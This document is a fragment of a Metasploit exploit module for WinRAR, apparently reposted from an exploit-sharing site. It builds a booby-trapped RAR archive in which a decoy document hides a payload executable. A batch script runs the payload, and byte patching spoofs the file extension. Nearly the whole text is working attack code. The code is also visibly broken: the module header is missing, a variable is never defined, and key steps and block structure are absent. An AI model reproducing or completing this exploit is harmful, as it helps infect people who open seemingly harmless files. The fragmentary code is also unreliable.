Winrar Exploit
Winrar Exploit
require 'zip'
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
register_options([
OptString.new('OUTPUT_FILE', [true, 'The output filename.', 'poc.rar']),
OptPath.new('INPUT_FILE', [true, 'Path to the decoy file (PDF, JPG, PNG,
etc.).'])
])
register_advanced_options([
OptString.new('PAYLOAD_NAME', [false, 'The filename for the payload
executable.', nil])
])
end
def exploit
Dir.mktmpdir do |temp_dir|
output_rar = File.join(Msf::Config.local_directory, datastore['OUTPUT_FILE'])
input_file = datastore['INPUT_FILE']
decoy_name = File.basename(input_file)
decoy_ext = ".#{File.extname(input_file)[1..]}"
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(8) +
'.exe'
bat_script = <<~BAT
@echo off
start "" "%~dp0#{payload_name}"
start "" "%~dp0#{decoy_name}"
BAT
content = File.binread(zip_path)
content.gsub!(decoy_ext + 'A', decoy_ext + ' ')
content.gsub!(decoy_ext + 'B', decoy_ext + ' ')
File.binwrite(output_rar, content)
print_good("Created #{output_rar}")
end
end
end
# 0day.today [2023-11-09] #